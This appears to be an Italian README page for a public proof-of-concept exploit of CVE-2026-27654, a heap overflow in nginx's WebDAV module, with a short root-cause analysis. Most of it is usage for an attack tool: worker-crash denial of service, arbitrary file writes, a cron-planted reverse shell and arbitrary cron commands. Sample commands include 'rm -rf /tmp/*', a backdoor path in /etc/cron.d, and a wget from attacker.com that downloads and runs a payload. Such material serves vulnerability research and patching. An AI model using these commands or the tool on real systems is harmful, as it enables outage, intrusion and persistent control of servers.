Torna agli aggiornamenti
UpdatedJul 31, 2026

CVE-2026-27654-PoC — Updated!

Proof-of-Concept e analisi tecnica per CVE-2026-27654, una vulnerabilità di overflow del buffer basato su heap nel modulo HTTP WebDAV di NGINX, inclusa l'analisi della causa principale, la riproduzione e la mitigazione.

Condividi

CVE-2026-27654 – nginx ngx_http_dav_module PoC per la gestione dei percorsi alias DAV

Questo repository fornisce un proof-of-concept exploit per CVE-2026-27654, una vulnerabilità di heap overflow nel modulo ngx_http_dav_module di nginx. Il bug deriva da un underflow di tipo size_t durante la gestione di richieste MOVE/COPY con header Destination appositamente modificati e location basate su alias.

⚠️ Disclaimer: Questo strumento è destinato esclusivamente a ricerca e test di sicurezza autorizzati. Usalo solo contro sistemi che possiedi o per i quali hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per un uso improprio.

Logo CVE-2026-27654

🔥 Panoramica della vulnerabilità

CVE-2026-27654 è un heap-based buffer overflow attivabile da remoto nel modulo HTTP WebDAV di NGINX, causato da un integer underflow in ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). La vulnerabilità si verifica quando la lunghezza dell'URI di destinazione viene derivata sottraendo il prefisso della location configurata dal percorso dell'header Destination. Poiché entrambi gli operandi sono di tipo size_t, un percorso di destinazione più corto fa sì che la sottrazione vada in wrap-around a un valore unsigned quasi massimo.

La lunghezza in wrap-around viene successivamente usata come argomento di dimensione per memcpy(), provocando una scrittura heap fuori dai limiti che corrompe la memoria e fa crashare immediatamente il processo worker di NGINX. Un attaccante remoto e non autenticato può attivare in modo affidabile questa condizione con una singola richiesta MOVE o COPY appositamente costruita, indirizzata a una location WebDAV mappata tramite alias. Sebbene il processo master di NGINX riavvii automaticamente i worker terminati, richieste ripetute possono mantenere il servizio in un ciclo continuo di crash dei worker, producendo un persistente Denial-of-Service (DoS).

AddressSanitizer (ASan) conferma la vulnerabilità con un errore negative-size-param in memcpy(), tracciando il percorso di esecuzione da ngx_http_dav_copy_move_handler() fino a ngx_http_core_module.c. La vulnerabilità interessa NGINX 0.5.13–1.28.2 (stable) e 1.29.0–1.29.6 (mainline) quando compilato con --with-http_dav_module e configurato con la direttiva alias. Il problema è stato corretto in NGINX 1.28.3 e 1.29.7 (commit ab4b5b8, PR #1210) tramite una corretta validazione della lunghezza del percorso di destinazione calcolato prima delle operazioni di memoria.

✨ Caratteristiche

  • Selezione della modalità interattiva – scegli tra quattro modalità operative in fase di esecuzione (crash, write-file, cron-shell, cron-cmd) tramite un chiaro menu numerato.
  • Trigger di crash – invia la richiesta MOVE/COPY canonica che attiva l'underflow di size_t e fa crashare il worker vulnerabile.
  • Modalità write-file – carica contenuto arbitrario in qualsiasi posizione del filesystem (richiede un ambiente di laboratorio con alias scrivibile).
  • Consegna cron-shell – distribuisce un cron job di reverse shell in /etc/cron.d/, con richieste interattive per LHOST/LPORT e un promemoria per avviare il listener.
  • Consegna cron-cmd – esegue un comando personalizzato tramite cron; accetta input interattivo o il flag --cron-command.
  • Controllo vulnerabilità (--check) – modalità non interattiva che esegue il test di crash e stampa un verdetto chiaro [VULNERABLE] / [NOT VULNERABLE], uscendo con codice 0 o 1.
  • Supporto proxy HTTP (--proxy) – instrada tutte le richieste attraverso un proxy HTTP/HTTPS (es. Burp Suite, mitmproxy) per debug o ispezione del traffico.
  • Gestione intelligente dei file – verifica se il file trigger esiste già (tramite HEAD/GET) e salta la PUT se presente, evitando caricamenti inutili.
  • Opzioni payload flessibili – fornisci payload tramite --payload-file (binario), --payload-text (testo letterale) oppure usa il contenuto di test predefinito.
  • Argomenti da riga di comando completi – regola ogni aspetto dell'exploit: --destination-path, --alias-len, --escape-depth, --method, --location-prefix e altro.
  • Fallback robusto – se la libreria requests non è installata, lo script ripiega sul modulo standard http.client di Python (il supporto proxy è disabilitato in modalità fallback).

📦 Installazione

git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt

🚀 Utilizzo

Modalità interattiva (menu)

python exploit.py --target 192.168.1.100:8080

Ti verrà mostrato un menu numerato e ti verrà chiesto di selezionare una modalità.

Controllo vulnerabilità (non interattivo)

python exploit.py --target 192.168.1.100:8080 --check

Questa opzione forza la modalità crash, esegue l'exploit e stampa [VULNERABLE] o [NOT VULNERABLE] prima di uscire con codice 0 o 1.

Con un proxy HTTP

python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080

Tutte le richieste HTTP verranno inviate tramite il proxy specificato (utile per il debug con Burp).

⚙️ Riferimento Flag

FlagDescrizioneEsempio
--target HOST:PORTIstanza nginx target (default: 127.0.0.1:8080).--target 10.0.0.5:80
--verbose, -vMostra le risposte HTTP complete (header e body).-v
--no-putSalta la PUT iniziale (presuppone che il file trigger esista già). Utile per test ripetuti.--no-put
--location-prefixPrefisso della location DAV (default: /uploads/). Deve corrispondere alla location alias nella configurazione di nginx.--location-prefix /dav/
--remote-nameNome del file sorgente remoto posizionato all'interno della location DAV (default: triggerfile.txt).--remote-name test.txt
--method {MOVE,COPY}Metodo DAV da usare per la richiesta di destinazione (default: MOVE).--method COPY
--destination-pathPercorso URI di destinazione – usato per l'aritmetica del crash o come percorso file finale per le modalità di consegna.--destination-path /etc/cron.d/backdoor
--alias-lenLunghezza della stringa alias configurata (usata per la visualizzazione dell'aritmetica del crash, default 13).--alias-len 20
--escape-depthNumero di componenti di percorso ../ per uscire dalla root DAV (default 1).--escape-depth 3
--payload-fileFile locale da caricare come payload. Sostituisce il contenuto di test predefinito.--payload-file ./shell.php
--payload-textPayload di testo letterale per la modalità write-file.--payload-text \"<?php phpinfo(); ?>\"
--lhostHost di callback della reverse shell (per cron-shell). Se omesso, lo script lo chiede interattivamente.--lhost 192.168.1.50
--lportPorta di callback della reverse shell (per cron-shell).--lport 4444
--cron-commandComando da eseguire tramite cron (per cron-cmd). Se omesso, lo script lo chiede interattivamente.--cron-command "rm -rf /tmp/*"
--waitSecondi di attesa dopo la consegna del cron job prima che venga eseguito (default 65).--wait 120
--checkEsegue il controllo di vulnerabilità (crash test, non interattivo). Output VULNERABLE/NOT VULNERABLE ed esce con codice 0/1.--check
--proxy PROXY_URLURL del proxy HTTP/HTTPS (es. http://127.0.0.1:8080). Richiede la libreria requests.--proxy http://127.0.0.1:8080

Nota: La maggior parte dei flag è opzionale. Lo script chiederà gli argomenti necessari mancanti (es. --lhost/--lport per cron-shell) se non vengono forniti.

🧪 Modalità in dettaglio

1. crash

Invia la richiesta MOVE (o COPY) appositamente costruita che attiva l'underflow di size_t. Il server farà crashare il processo worker. Se il processo master è configurato correttamente, genererà un nuovo worker.

Esempio:

python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)

2. write-file

Carica un file in una posizione arbitraria del filesystem. Funziona solo se la location DAV è supportata da un alias che punta a una directory scrivibile e il percorso Destination è costruito per uscire dalla root DAV. Usa solo in ambienti di laboratorio autorizzati.

Esempio:

python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)

3. cron-shell

Posiziona un cron job di reverse shell in /etc/cron.d/.
Quando selezioni questa modalità, lo script ti chiederà:

  • LHOST – il tuo IP in ascolto
  • LPORT – la tua porta in ascolto

Successivamente mostrerà il comando del listener netcat e attenderà che tu prema Invio una volta che il listener è in esecuzione.

Esempio (pre-compilato):

python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)

4. cron-cmd

Posiziona un comando personalizzato (fornito interattivamente o tramite --cron-command) in /etc/cron.d/. Utile per eseguire comandi di sistema arbitrari.

Esempio (interattivo):

python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted

Esempio (pre-compilato):

python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)

📝 Esempio di flusso di lavoro (Reverse Shell)

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.

📝 Esempio di flusso di lavoro (Esecuzione di comandi)

Questo esempio dimostra l'uso di cron-cmd per eseguire un comando sul sistema target senza bisogno di un listener.

Modalità interattiva

$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.

Pre-compilato (non interattivo)

python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)

Lo script userà automaticamente il --cron-command fornito e salterà la richiesta interattiva, rendendolo adatto all'automazione.

🛠️ Creazione di un ambiente di test vulnerabile

Per testare questo PoC in un ambiente controllato, puoi compilare nginx dal sorgente con --with-http_dav_module e configurare una location con alias e dav_methods. È inclusa una configurazione Docker di esempio (in arrivo).

Riferimenti

📜 Licenza

Questo progetto è concesso in licenza sotto la GNU v3.0 License – consulta il file LICENSE per i dettagli.

🤝 Contributi

Segnalazioni di problemi e pull request sono benvenuti. Assicurati che i tuoi contributi rispettino le stesse linee guida etiche di utilizzo.

Ricorda: Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi strumento di sicurezza. Rimani etico!

Categorie